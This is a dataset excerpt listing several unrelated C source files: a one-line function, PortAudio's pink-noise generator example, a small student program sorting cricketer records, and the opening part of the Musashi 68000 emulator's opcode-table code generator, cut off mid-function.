file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
---|---|
the_stack_data/184517258.c
|
int sub3()
{
return 3;
}
|
the_stack_data/167330844.c
|
/** @file paex_pink.c
@ingroup examples_src
@brief Generate Pink Noise using Gardner method.
Optimization suggested by James McCartney uses a tree
to select which random value to replace.
<pre>
x x x x x x x x x x x x x x x x
x x x x x x x x
x x x x
x x
x
</pre>
Tree is generated by counting trailing zeros in an increasing index.
When the index is zero, no random number is selected.
@author Phil Burk http://www.softsynth.com
*/
/*
* $Id$
*
* This program uses the PortAudio Portable Audio Library.
* For more information see: http://www.portaudio.com
* Copyright (c) 1999-2000 Ross Bencina and Phil Burk
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files
* (the "Software"), to deal in the Software without restriction,
* including without limitation the rights to use, copy, modify, merge,
* publish, distribute, sublicense, and/or sell copies of the Software,
* and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR
* ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
* CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
* WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/*
* The text above constitutes the entire PortAudio license; however,
* the PortAudio community also makes the following non-binding requests:
*
* Any person wishing to distribute modifications to the Software is
* requested to send the modifications to the original developer so that
* they can be incorporated into the canonical version. It is also
* requested that these non-binding requests be included along with the
* license above.
*/
#include <stdio.h>
#include <math.h>
#include "portaudio.h"
#define PINK_MAX_RANDOM_ROWS (30)
#define PINK_RANDOM_BITS (24)
#define PINK_RANDOM_SHIFT ((sizeof(long)*8)-PINK_RANDOM_BITS)
typedef struct
{
long pink_Rows[PINK_MAX_RANDOM_ROWS];
long pink_RunningSum; /* Used to optimize summing of generators. */
int pink_Index; /* Incremented each sample. */
int pink_IndexMask; /* Index wrapped by ANDing with this mask. */
float pink_Scalar; /* Used to scale within range of -1.0 to +1.0 */
}
PinkNoise;
/* Prototypes */
static unsigned long GenerateRandomNumber( void );
void InitializePinkNoise( PinkNoise *pink, int numRows );
float GeneratePinkNoise( PinkNoise *pink );
/************************************************************/
/* Calculate pseudo-random 32 bit number based on linear congruential method. */
static unsigned long GenerateRandomNumber( void )
{
/* Change this seed for different random sequences. */
static unsigned long randSeed = 22222;
randSeed = (randSeed * 196314165) + 907633515;
return randSeed;
}
/************************************************************/
/* Setup PinkNoise structure for N rows of generators. */
void InitializePinkNoise( PinkNoise *pink, int numRows )
{
int i;
long pmax;
pink->pink_Index = 0;
pink->pink_IndexMask = (1<<numRows) - 1;
/* Calculate maximum possible signed random value. Extra 1 for white noise always added. */
pmax = (numRows + 1) * (1<<(PINK_RANDOM_BITS-1));
pink->pink_Scalar = 1.0f / pmax;
/* Initialize rows. */
for( i=0; i<numRows; i++ ) pink->pink_Rows[i] = 0;
pink->pink_RunningSum = 0;
}
#define PINK_MEASURE
#ifdef PINK_MEASURE
float pinkMax = -999.0;
float pinkMin = 999.0;
#endif
/* Generate Pink noise values between -1.0 and +1.0 */
float GeneratePinkNoise( PinkNoise *pink )
{
long newRandom;
long sum;
float output;
/* Increment and mask index. */
pink->pink_Index = (pink->pink_Index + 1) & pink->pink_IndexMask;
/* If index is zero, don't update any random values. */
if( pink->pink_Index != 0 )
{
/* Determine how many trailing zeros in PinkIndex. */
/* This algorithm will hang if n==0 so test first. */
int numZeros = 0;
int n = pink->pink_Index;
while( (n & 1) == 0 )
{
n = n >> 1;
numZeros++;
}
/* Replace the indexed ROWS random value.
* Subtract and add back to RunningSum instead of adding all the random
* values together. Only one changes each time.
*/
pink->pink_RunningSum -= pink->pink_Rows[numZeros];
newRandom = ((long)GenerateRandomNumber()) >> PINK_RANDOM_SHIFT;
pink->pink_RunningSum += newRandom;
pink->pink_Rows[numZeros] = newRandom;
}
/* Add extra white noise value. */
newRandom = ((long)GenerateRandomNumber()) >> PINK_RANDOM_SHIFT;
sum = pink->pink_RunningSum + newRandom;
/* Scale to range of -1.0 to 0.9999. */
output = pink->pink_Scalar * sum;
#ifdef PINK_MEASURE
/* Check Min/Max */
if( output > pinkMax ) pinkMax = output;
else if( output < pinkMin ) pinkMin = output;
#endif
return output;
}
/*******************************************************************/
#define PINK_TEST
#ifdef PINK_TEST
/* Context for callback routine. */
typedef struct
{
PinkNoise leftPink;
PinkNoise rightPink;
unsigned int sampsToGo;
}
paTestData;
/* This routine will be called by the PortAudio engine when audio is needed.
** It may called at interrupt level on some machines so don't do anything
** that could mess up the system like calling malloc() or free().
*/
static int patestCallback(const void* inputBuffer,
void* outputBuffer,
unsigned long framesPerBuffer,
const PaStreamCallbackTimeInfo* timeInfo,
PaStreamCallbackFlags statusFlags,
void* userData)
{
int finished;
int i;
int numFrames;
paTestData *data = (paTestData*)userData;
float *out = (float*)outputBuffer;
(void) inputBuffer; /* Prevent "unused variable" warnings. */
/* Are we almost at end. */
if( data->sampsToGo < framesPerBuffer )
{
numFrames = data->sampsToGo;
finished = 1;
}
else
{
numFrames = framesPerBuffer;
finished = 0;
}
for( i=0; i<numFrames; i++ )
{
*out++ = GeneratePinkNoise( &data->leftPink );
*out++ = GeneratePinkNoise( &data->rightPink );
}
data->sampsToGo -= numFrames;
return finished;
}
/*******************************************************************/
int main(void);
int main(void)
{
PaStream* stream;
PaError err;
paTestData data;
PaStreamParameters outputParameters;
int totalSamps;
static const double SR = 44100.0;
static const int FPB = 2048; /* Frames per buffer: 46 ms buffers. */
/* Initialize two pink noise signals with different numbers of rows. */
InitializePinkNoise( &data.leftPink, 12 );
InitializePinkNoise( &data.rightPink, 16 );
/* Look at a few values. */
{
int i;
float pink;
for( i=0; i<20; i++ )
{
pink = GeneratePinkNoise( &data.leftPink );
printf("Pink = %f\n", pink );
}
}
data.sampsToGo = totalSamps = (int)(60.0 * SR); /* Play a whole minute. */
err = Pa_Initialize();
if( err != paNoError ) goto error;
/* Open a stereo PortAudio stream so we can hear the result. */
outputParameters.device = Pa_GetDefaultOutputDevice(); /* Take the default output device. */
if (outputParameters.device == paNoDevice) {
fprintf(stderr,"Error: No default output device.\n");
goto error;
}
outputParameters.channelCount = 2; /* Stereo output, most likely supported. */
outputParameters.hostApiSpecificStreamInfo = NULL;
outputParameters.sampleFormat = paFloat32; /* 32 bit floating point output. */
outputParameters.suggestedLatency =
Pa_GetDeviceInfo(outputParameters.device)->defaultLowOutputLatency;
err = Pa_OpenStream(&stream,
NULL, /* No input. */
&outputParameters,
SR, /* Sample rate. */
FPB, /* Frames per buffer. */
paClipOff, /* we won't output out of range samples so don't bother clipping them */
patestCallback,
&data);
if( err != paNoError ) goto error;
err = Pa_StartStream( stream );
if( err != paNoError ) goto error;
printf("Stereo pink noise for one minute...\n");
while( ( err = Pa_IsStreamActive( stream ) ) == 1 ) Pa_Sleep(100);
if( err < 0 ) goto error;
err = Pa_CloseStream( stream );
if( err != paNoError ) goto error;
#ifdef PINK_MEASURE
printf("Pink min = %f, max = %f\n", pinkMin, pinkMax );
#endif
Pa_Terminate();
return 0;
error:
Pa_Terminate();
fprintf( stderr, "An error occured while using the portaudio stream\n" );
fprintf( stderr, "Error number: %d\n", err );
fprintf( stderr, "Error message: %s\n", Pa_GetErrorText( err ) );
return 0;
}
#endif /* PINK_TEST */
|
the_stack_data/298049.c
|
#include <stdio.h>
#include <stdlib.h>
struct record_cricketer
{
char name[50];
int age;
int number_of_test;
float average_runs;
} c[2];
int main()
{
struct record_cricketer temp;
for (int i = 0; i < 2; i++)
{
scanf("%s\n", c[i].name);
scanf("%d\n", &c[i].age);
scanf("%d\n", &c[i].number_of_test);
scanf("%f", &c[i].average_runs);
printf("\n");
}
for (int i = 0; i < 2; i++)
{
for (int j = i + 1; j < 2; j++)
{
if (c[i].average_runs > c[j].average_runs)
{
temp=c[j];
c[j]=c[i];
c[i]=temp;
}
}
}
for (int i = 0; i < 2; i++)
{
printf("%s\t", c[i].name);
printf("%d\t", c[i].age);
printf("%d\t", c[i].number_of_test);
printf("%f\n", c[i].average_runs);
}
return 0;
}
|
the_stack_data/97953.c
|
/* ======================================================================== */
/* ========================= LICENSING & COPYRIGHT ======================== */
/* ======================================================================== */
/*
* MUSASHI
* Version 4.60
*
* A portable Motorola M680x0 processor emulation engine.
* Copyright Karl Stenerud. All rights reserved.
* FPU and MMU by R. Belmont.
*
* This code may be freely used for non-commercial purposes as long as this
* copyright notice remains unaltered in the source code and any binary files
* containing this code in compiled form.
*
* All other licensing terms must be negotiated with the author
* (Karl Stenerud).
*
* The latest version of this code can be obtained at:
* http://kstenerud.cjb.net or http://mamedev.org/
*/
/*
* Modified For OpenVMS By: Robert Alan Byer
* [email protected]
*
* 68030 and PMMU by R. Belmont
* 68040 and FPU by Ville Linde
*/
/* ======================================================================== */
/* ============================ CODE GENERATOR ============================ */
/* ======================================================================== */
/*
* This is the code generator program which will generate the opcode table
* and the final opcode handlers.
*
* It requires an input file to function (default m68k_in.c), but you can
* specify your own like so:
*
* m68kmake <output path> <input file>
*
* where output path is the path where the output files should be placed, and
* input file is the file to use for input.
*
* If you modify the input file greatly from its released form, you may have
* to tweak the configuration section a bit since I'm using static allocation
* to keep things simple.
*
*
* TODO: - build a better code generator for the move instruction.
* - Add callm and rtm instructions
* - Fix RTE to handle other format words
* - Add address error (and bus error?) handling
*/
static const char g_version[] = "4.60";
/* ======================================================================== */
/* =============================== INCLUDES =============================== */
/* ======================================================================== */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <stdarg.h>
/* ======================================================================== */
/* ============================= CONFIGURATION ============================ */
/* ======================================================================== */
#define M68K_MAX_PATH 1024
#define M68K_MAX_DIR 1024
#define MAX_LINE_LENGTH 200 /* length of 1 line */
#define MAX_BODY_LENGTH 300 /* Number of lines in 1 function */
#define MAX_REPLACE_LENGTH 30 /* Max number of replace strings */
#define MAX_INSERT_LENGTH 5000 /* Max size of insert piece */
#define MAX_NAME_LENGTH 30 /* Max length of ophandler name */
#define MAX_SPEC_PROC_LENGTH 4 /* Max length of special processing str */
#define MAX_SPEC_EA_LENGTH 5 /* Max length of specified EA str */
#define EA_ALLOWED_LENGTH 11 /* Max length of ea allowed str */
#define MAX_OPCODE_INPUT_TABLE_LENGTH 1000 /* Max length of opcode handler tbl */
#define MAX_OPCODE_OUTPUT_TABLE_LENGTH 3000 /* Max length of opcode handler tbl */
/* Default filenames */
#define FILENAME_INPUT "m68k_in.c"
#define FILENAME_PROTOTYPE "m68kops.h"
#define FILENAME_TABLE "m68kops.c"
/* Identifier sequences recognized by this program */
#define ID_INPUT_SEPARATOR "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
#define ID_BASE "M68KMAKE"
#define ID_PROTOTYPE_HEADER ID_BASE "_PROTOTYPE_HEADER"
#define ID_PROTOTYPE_FOOTER ID_BASE "_PROTOTYPE_FOOTER"
#define ID_TABLE_HEADER ID_BASE "_TABLE_HEADER"
#define ID_TABLE_FOOTER ID_BASE "_TABLE_FOOTER"
#define ID_TABLE_BODY ID_BASE "_TABLE_BODY"
#define ID_TABLE_START ID_BASE "_TABLE_START"
#define ID_OPHANDLER_HEADER ID_BASE "_OPCODE_HANDLER_HEADER"
#define ID_OPHANDLER_FOOTER ID_BASE "_OPCODE_HANDLER_FOOTER"
#define ID_OPHANDLER_BODY ID_BASE "_OPCODE_HANDLER_BODY"
#define ID_END ID_BASE "_END"
#define ID_OPHANDLER_NAME ID_BASE "_OP"
#define ID_OPHANDLER_EA_AY_8 ID_BASE "_GET_EA_AY_8"
#define ID_OPHANDLER_EA_AY_16 ID_BASE "_GET_EA_AY_16"
#define ID_OPHANDLER_EA_AY_32 ID_BASE "_GET_EA_AY_32"
#define ID_OPHANDLER_OPER_AY_8 ID_BASE "_GET_OPER_AY_8"
#define ID_OPHANDLER_OPER_AY_16 ID_BASE "_GET_OPER_AY_16"
#define ID_OPHANDLER_OPER_AY_32 ID_BASE "_GET_OPER_AY_32"
#define ID_OPHANDLER_CC ID_BASE "_CC"
#define ID_OPHANDLER_NOT_CC ID_BASE "_NOT_CC"
#ifndef DECL_SPEC
#define DECL_SPEC
#endif /* DECL_SPEC */
/* ======================================================================== */
/* ============================== PROTOTYPES ============================== */
/* ======================================================================== */
enum
{
CPU_TYPE_000 = 0,
CPU_TYPE_010,
CPU_TYPE_020,
CPU_TYPE_030,
CPU_TYPE_040,
NUM_CPUS
};
#define UNSPECIFIED "."
#define UNSPECIFIED_CH '.'
#define HAS_NO_EA_MODE(A) (strcmp(A, "..........") == 0)
#define HAS_EA_AI(A) ((A)[0] == 'A')
#define HAS_EA_PI(A) ((A)[1] == '+')
#define HAS_EA_PD(A) ((A)[2] == '-')
#define HAS_EA_DI(A) ((A)[3] == 'D')
#define HAS_EA_IX(A) ((A)[4] == 'X')
#define HAS_EA_AW(A) ((A)[5] == 'W')
#define HAS_EA_AL(A) ((A)[6] == 'L')
#define HAS_EA_PCDI(A) ((A)[7] == 'd')
#define HAS_EA_PCIX(A) ((A)[8] == 'x')
#define HAS_EA_I(A) ((A)[9] == 'I')
enum
{
EA_MODE_NONE, /* No special addressing mode */
EA_MODE_AI, /* Address register indirect */
EA_MODE_PI, /* Address register indirect with postincrement */
EA_MODE_PI7, /* Address register 7 indirect with postincrement */
EA_MODE_PD, /* Address register indirect with predecrement */
EA_MODE_PD7, /* Address register 7 indirect with predecrement */
EA_MODE_DI, /* Address register indirect with displacement */
EA_MODE_IX, /* Address register indirect with index */
EA_MODE_AW, /* Absolute word */
EA_MODE_AL, /* Absolute long */
EA_MODE_PCDI, /* Program counter indirect with displacement */
EA_MODE_PCIX, /* Program counter indirect with index */
EA_MODE_I /* Immediate */
};
/* Everything we need to know about an opcode */
typedef struct
{
char name[MAX_NAME_LENGTH]; /* opcode handler name */
unsigned char size; /* Size of operation */
char spec_proc[MAX_SPEC_PROC_LENGTH]; /* Special processing mode */
char spec_ea[MAX_SPEC_EA_LENGTH]; /* Specified effective addressing mode */
unsigned char bits; /* Number of significant bits (used for sorting the table) */
unsigned short op_mask; /* Mask to apply for matching an opcode to a handler */
unsigned short op_match; /* Value to match after masking */
char ea_allowed[EA_ALLOWED_LENGTH]; /* Effective addressing modes allowed */
char cpu_mode[NUM_CPUS]; /* User or supervisor mode */
char cpus[NUM_CPUS+1]; /* Allowed CPUs */
unsigned char cycles[NUM_CPUS]; /* cycles for 000, 010, 020, 030, 040 */
} opcode_struct;
/* All modifications necessary for a specific EA mode of an instruction */
typedef struct
{
const char* fname_add;
const char* ea_add;
unsigned int mask_add;
unsigned int match_add;
} ea_info_struct;
/* Holds the body of a function */
typedef struct
{
char body[MAX_BODY_LENGTH][MAX_LINE_LENGTH+1];
int length;
} body_struct;
/* Holds a sequence of search / replace strings */
typedef struct
{
char replace[MAX_REPLACE_LENGTH][2][MAX_LINE_LENGTH+1];
int length;
} replace_struct;
/* Function Prototypes */
static void error_exit(const char* fmt, ...);
static void perror_exit(const char* fmt, ...);
static int check_strsncpy(char* dst, char* src, int maxlength);
static int check_atoi(char* str, int *result);
static int skip_spaces(char* str);
static int num_bits(int value);
//int atoh(char* buff);
static int fgetline(char* buff, int nchars, FILE* file);
static int get_oper_cycles(opcode_struct* op, int ea_mode, int cpu_type);
static opcode_struct* find_opcode(char* name, int size, char* spec_proc, char* spec_ea);
//opcode_struct* find_illegal_opcode(void);
static int extract_opcode_info(char* src, char* name, int* size, char* spec_proc, char* spec_ea);
static void add_replace_string(replace_struct* replace, const char* search_str, const char* replace_str);
static void write_body(FILE* filep, body_struct* body, replace_struct* replace);
static void get_base_name(char* base_name, opcode_struct* op);
static void write_function_name(FILE* filep, char* base_name);
static void add_opcode_output_table_entry(opcode_struct* op, char* name);
static int DECL_SPEC compare_nof_true_bits(const void* aptr, const void* bptr);
static void print_opcode_output_table(FILE* filep);
static void write_table_entry(FILE* filep, opcode_struct* op);
static void set_opcode_struct(opcode_struct* src, opcode_struct* dst, int ea_mode);
static void generate_opcode_handler(FILE* filep, body_struct* body, replace_struct* replace, opcode_struct* opinfo, int ea_mode);
static void generate_opcode_ea_variants(FILE* filep, body_struct* body, replace_struct* replace, opcode_struct* op);
static void generate_opcode_cc_variants(FILE* filep, body_struct* body, replace_struct* replace, opcode_struct* op_in, int offset);
static void process_opcode_handlers(FILE* filep);
static void populate_table(void);
static void read_insert(char* insert);
/* ======================================================================== */
/* ================================= DATA ================================= */
/* ======================================================================== */
/* Name of the input file */
static char g_input_filename[M68K_MAX_PATH];
/* File handles */
static FILE* g_input_file = NULL;
static FILE* g_prototype_file = NULL;
static FILE* g_table_file = NULL;
static int g_num_functions = 0; /* Number of functions processed */
static int g_num_primitives = 0; /* Number of function primitives read */
static int g_line_number = 1; /* Current line number */
/* Opcode handler table */
static opcode_struct g_opcode_input_table[MAX_OPCODE_INPUT_TABLE_LENGTH];
static opcode_struct g_opcode_output_table[MAX_OPCODE_OUTPUT_TABLE_LENGTH];
static int g_opcode_output_table_length = 0;
static const ea_info_struct g_ea_info_table[13] =
{/* fname ea mask match */
{"", "", 0x00, 0x00}, /* EA_MODE_NONE */
{"ai", "AY_AI", 0x38, 0x10}, /* EA_MODE_AI */
{"pi", "AY_PI", 0x38, 0x18}, /* EA_MODE_PI */
{"pi7", "A7_PI", 0x3f, 0x1f}, /* EA_MODE_PI7 */
{"pd", "AY_PD", 0x38, 0x20}, /* EA_MODE_PD */
{"pd7", "A7_PD", 0x3f, 0x27}, /* EA_MODE_PD7 */
{"di", "AY_DI", 0x38, 0x28}, /* EA_MODE_DI */
{"ix", "AY_IX", 0x38, 0x30}, /* EA_MODE_IX */
{"aw", "AW", 0x3f, 0x38}, /* EA_MODE_AW */
{"al", "AL", 0x3f, 0x39}, /* EA_MODE_AL */
{"pcdi", "PCDI", 0x3f, 0x3a}, /* EA_MODE_PCDI */
{"pcix", "PCIX", 0x3f, 0x3b}, /* EA_MODE_PCIX */
{"i", "I", 0x3f, 0x3c}, /* EA_MODE_I */
};
static const char *const g_cc_table[16][2] =
{
{ "t", "T"}, /* 0000 */
{ "f", "F"}, /* 0001 */
{"hi", "HI"}, /* 0010 */
{"ls", "LS"}, /* 0011 */
{"cc", "CC"}, /* 0100 */
{"cs", "CS"}, /* 0101 */
{"ne", "NE"}, /* 0110 */
{"eq", "EQ"}, /* 0111 */
{"vc", "VC"}, /* 1000 */
{"vs", "VS"}, /* 1001 */
{"pl", "PL"}, /* 1010 */
{"mi", "MI"}, /* 1011 */
{"ge", "GE"}, /* 1100 */
{"lt", "LT"}, /* 1101 */
{"gt", "GT"}, /* 1110 */
{"le", "LE"}, /* 1111 */
};
/* size to index translator (0 -> 0, 8 and 16 -> 1, 32 -> 2) */
static const int g_size_select_table[33] =
{
0, /* unsized */
0, 0, 0, 0, 0, 0, 0, 1, /* 8 */
0, 0, 0, 0, 0, 0, 0, 1, /* 16 */
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2 /* 32 */
};
/* Extra cycles required for certain EA modes */
/* TODO: correct timings for 030, 040 */
static const int g_ea_cycle_table[13][NUM_CPUS][3] =
{/* 000 010 020 030 040 */
{{ 0, 0, 0}, { 0, 0, 0}, { 0, 0, 0}, { 0, 0, 0}, { 0, 0, 0}}, /* EA_MODE_NONE */
{{ 0, 4, 8}, { 0, 4, 8}, { 0, 4, 4}, { 0, 4, 4}, { 0, 4, 4}}, /* EA_MODE_AI */
{{ 0, 4, 8}, { 0, 4, 8}, { 0, 4, 4}, { 0, 4, 4}, { 0, 4, 4}}, /* EA_MODE_PI */
{{ 0, 4, 8}, { 0, 4, 8}, { 0, 4, 4}, { 0, 4, 4}, { 0, 4, 4}}, /* EA_MODE_PI7 */
{{ 0, 6, 10}, { 0, 6, 10}, { 0, 5, 5}, { 0, 5, 5}, { 0, 5, 5}}, /* EA_MODE_PD */
{{ 0, 6, 10}, { 0, 6, 10}, { 0, 5, 5}, { 0, 5, 5}, { 0, 5, 5}}, /* EA_MODE_PD7 */
{{ 0, 8, 12}, { 0, 8, 12}, { 0, 5, 5}, { 0, 5, 5}, { 0, 5, 5}}, /* EA_MODE_DI */
{{ 0, 10, 14}, { 0, 10, 14}, { 0, 7, 7}, { 0, 7, 7}, { 0, 7, 7}}, /* EA_MODE_IX */
{{ 0, 8, 12}, { 0, 8, 12}, { 0, 4, 4}, { 0, 4, 4}, { 0, 4, 4}}, /* EA_MODE_AW */
{{ 0, 12, 16}, { 0, 12, 16}, { 0, 4, 4}, { 0, 4, 4}, { 0, 4, 4}}, /* EA_MODE_AL */
{{ 0, 8, 12}, { 0, 8, 12}, { 0, 5, 5}, { 0, 5, 5}, { 0, 5, 5}}, /* EA_MODE_PCDI */
{{ 0, 10, 14}, { 0, 10, 14}, { 0, 7, 7}, { 0, 7, 7}, { 0, 7, 7}}, /* EA_MODE_PCIX */
{{ 0, 4, 8}, { 0, 4, 8}, { 0, 2, 4}, { 0, 2, 4}, { 0, 2, 4}}, /* EA_MODE_I */
};
/* Extra cycles for JMP instruction (000, 010) */
static const int g_jmp_cycle_table[13] =
{
0, /* EA_MODE_NONE */
4, /* EA_MODE_AI */
0, /* EA_MODE_PI */
0, /* EA_MODE_PI7 */
0, /* EA_MODE_PD */
0, /* EA_MODE_PD7 */
6, /* EA_MODE_DI */
10, /* EA_MODE_IX */
6, /* EA_MODE_AW */
8, /* EA_MODE_AL */
6, /* EA_MODE_PCDI */
10, /* EA_MODE_PCIX */
0, /* EA_MODE_I */
};
/* Extra cycles for JSR instruction (000, 010) */
static const int g_jsr_cycle_table[13] =
{
0, /* EA_MODE_NONE */
4, /* EA_MODE_AI */
0, /* EA_MODE_PI */
0, /* EA_MODE_PI7 */
0, /* EA_MODE_PD */
0, /* EA_MODE_PD7 */
6, /* EA_MODE_DI */
10, /* EA_MODE_IX */
6, /* EA_MODE_AW */
8, /* EA_MODE_AL */
6, /* EA_MODE_PCDI */
10, /* EA_MODE_PCIX */
0, /* EA_MODE_I */
};
/* Extra cycles for LEA instruction (000, 010) */
static const int g_lea_cycle_table[13] =
{
0, /* EA_MODE_NONE */
4, /* EA_MODE_AI */
0, /* EA_MODE_PI */
0, /* EA_MODE_PI7 */
0, /* EA_MODE_PD */
0, /* EA_MODE_PD7 */
8, /* EA_MODE_DI */
12, /* EA_MODE_IX */
8, /* EA_MODE_AW */
12, /* EA_MODE_AL */
8, /* EA_MODE_PCDI */
12, /* EA_MODE_PCIX */
0, /* EA_MODE_I */
};
/* Extra cycles for PEA instruction (000, 010) */
static const int g_pea_cycle_table[13] =
{
0, /* EA_MODE_NONE */
6, /* EA_MODE_AI */
0, /* EA_MODE_PI */
0, /* EA_MODE_PI7 */
0, /* EA_MODE_PD */
0, /* EA_MODE_PD7 */
10, /* EA_MODE_DI */
14, /* EA_MODE_IX */
10, /* EA_MODE_AW */
14, /* EA_MODE_AL */
10, /* EA_MODE_PCDI */
14, /* EA_MODE_PCIX */
0, /* EA_MODE_I */
};
/* Extra cycles for MOVEM instruction (000, 010) */
static const int g_movem_cycle_table[13] =
{
0, /* EA_MODE_NONE */
0, /* EA_MODE_AI */
0, /* EA_MODE_PI */
0, /* EA_MODE_PI7 */
0, /* EA_MODE_PD */
0, /* EA_MODE_PD7 */
4, /* EA_MODE_DI */
6, /* EA_MODE_IX */
4, /* EA_MODE_AW */
8, /* EA_MODE_AL */
0, /* EA_MODE_PCDI */
0, /* EA_MODE_PCIX */
0, /* EA_MODE_I */
};
/* Extra cycles for MOVES instruction (010) */
static const int g_moves_cycle_table[13][3] =
{
{ 0, 0, 0}, /* EA_MODE_NONE */
{ 0, 4, 6}, /* EA_MODE_AI */
{ 0, 4, 6}, /* EA_MODE_PI */
{ 0, 4, 6}, /* EA_MODE_PI7 */
{ 0, 6, 12}, /* EA_MODE_PD */
{ 0, 6, 12}, /* EA_MODE_PD7 */
{ 0, 12, 16}, /* EA_MODE_DI */
{ 0, 16, 20}, /* EA_MODE_IX */
{ 0, 12, 16}, /* EA_MODE_AW */
{ 0, 16, 20}, /* EA_MODE_AL */
{ 0, 0, 0}, /* EA_MODE_PCDI */
{ 0, 0, 0}, /* EA_MODE_PCIX */
{ 0, 0, 0}, /* EA_MODE_I */
};
/* Extra cycles for CLR instruction (010) */
static const int g_clr_cycle_table[13][3] =
{
{ 0, 0, 0}, /* EA_MODE_NONE */
{ 0, 4, 6}, /* EA_MODE_AI */
{ 0, 4, 6}, /* EA_MODE_PI */
{ 0, 4, 6}, /* EA_MODE_PI7 */
{ 0, 6, 8}, /* EA_MODE_PD */
{ 0, 6, 8}, /* EA_MODE_PD7 */
{ 0, 8, 10}, /* EA_MODE_DI */
{ 0, 10, 14}, /* EA_MODE_IX */
{ 0, 8, 10}, /* EA_MODE_AW */
{ 0, 10, 14}, /* EA_MODE_AL */
{ 0, 0, 0}, /* EA_MODE_PCDI */
{ 0, 0, 0}, /* EA_MODE_PCIX */
{ 0, 0, 0}, /* EA_MODE_I */
};
/* ======================================================================== */
/* =========================== UTILITY FUNCTIONS ========================== */
/* ======================================================================== */
/* Print an error message and exit with status error */
static void error_exit(const char* fmt, ...)
{
va_list args;
fprintf(stderr, "In %s, near or on line %d:\n\t", g_input_filename, g_line_number);
va_start(args, fmt);
vfprintf(stderr, fmt, args);
va_end(args);
fprintf(stderr, "\n");
if(g_prototype_file) fclose(g_prototype_file);
if(g_table_file) fclose(g_table_file);
if(g_input_file) fclose(g_input_file);
exit(EXIT_FAILURE);
}
/* Print an error message, call perror(), and exit with status error */
static void perror_exit(const char* fmt, ...)
{
va_list args;
va_start(args, fmt);
vfprintf(stderr, fmt, args);
va_end(args);
perror("");
if(g_prototype_file) fclose(g_prototype_file);
if(g_table_file) fclose(g_table_file);
if(g_input_file) fclose(g_input_file);
exit(EXIT_FAILURE);
}
/* copy until 0 or space and exit with error if we read too far */
static int check_strsncpy(char* dst, char* src, int maxlength)
{
char* p = dst;
while(*src && *src != ' ')
{
*p++ = *src++;
if(p - dst > maxlength)
error_exit("Field too long");
}
*p = 0;
return p - dst;
}
/* copy until 0 or specified character and exit with error if we read too far */
static int check_strcncpy(char* dst, char* src, char delim, int maxlength)
{
char* p = dst;
while(*src && *src != delim)
{
*p++ = *src++;
if(p - dst > maxlength)
error_exit("Field too long");
}
*p = 0;
return p - dst;
}
/* convert ascii to integer and exit with error if we find invalid data */
static int check_atoi(char* str, int *result)
{
int accum = 0;
char* p = str;
while(*p >= '0' && *p <= '9')
{
accum *= 10;
accum += *p++ - '0';
}
if(*p != ' ' && *p != 0)
error_exit("Malformed integer value (%c)", *p);
*result = accum;
return p - str;
}
/* Skip past spaces in a string */
static int skip_spaces(char* str)
{
char* p = str;
while(*p == ' ')
p++;
return p - str;
}
/* Count the number of set bits in a value */
static int num_bits(int value)
{
value = ((value & 0xaaaa) >> 1) + (value & 0x5555);
value = ((value & 0xcccc) >> 2) + (value & 0x3333);
value = ((value & 0xf0f0) >> 4) + (value & 0x0f0f);
value = ((value & 0xff00) >> 8) + (value & 0x00ff);
return value;
}
#ifdef UNUSED_FUNCTION
/* Convert a hex value written in ASCII */
int atoh(char* buff)
{
int accum = 0;
for(;;buff++)
{
if(*buff >= '0' && *buff <= '9')
{
accum <<= 4;
accum += *buff - '0';
}
else if(*buff >= 'a' && *buff <= 'f')
{
accum <<= 4;
accum += *buff - 'a' + 10;
}
else break;
}
return accum;
}
#endif
/* Get a line of text from a file, discarding any end-of-line characters */
static int fgetline(char* buff, int nchars, FILE* file)
{
int length;
if(fgets(buff, nchars, file) == NULL)
return -1;
if(buff[0] == '\r')
memcpy(buff, buff + 1, nchars - 1);
length = strlen(buff);
while(length && (buff[length-1] == '\r' || buff[length-1] == '\n'))
length--;
buff[length] = 0;
g_line_number++;
return length;
}
/* ======================================================================== */
/* =========================== HELPER FUNCTIONS =========================== */
/* ======================================================================== */
/* Calculate the number of cycles an opcode requires */
static int get_oper_cycles(opcode_struct* op, int ea_mode, int cpu_type)
{
int size = g_size_select_table[op->size];
if(op->cpus[cpu_type] == '.')
return 0;
if(cpu_type < CPU_TYPE_020)
{
if(cpu_type == CPU_TYPE_010)
{
if(strcmp(op->name, "moves") == 0)
return op->cycles[cpu_type] + g_moves_cycle_table[ea_mode][size];
if(strcmp(op->name, "clr") == 0)
return op->cycles[cpu_type] + g_clr_cycle_table[ea_mode][size];
}
/* ASG: added these cases -- immediate modes take 2 extra cycles here */
/* SV: but only when operating on long, and also on register direct mode */
if(cpu_type == CPU_TYPE_000 && (ea_mode == EA_MODE_I || ea_mode == EA_MODE_NONE) && op->size == 32 &&
((strcmp(op->name, "add") == 0 && strcmp(op->spec_proc, "er") == 0) ||
strcmp(op->name, "adda") == 0 ||
(strcmp(op->name, "and") == 0 && strcmp(op->spec_proc, "er") == 0) ||
(strcmp(op->name, "or") == 0 && strcmp(op->spec_proc, "er") == 0) ||
(strcmp(op->name, "sub") == 0 && strcmp(op->spec_proc, "er") == 0) ||
strcmp(op->name, "suba") == 0))
return op->cycles[cpu_type] + g_ea_cycle_table[ea_mode][cpu_type][size] + 2;
if(strcmp(op->name, "jmp") == 0)
return op->cycles[cpu_type] + g_jmp_cycle_table[ea_mode];
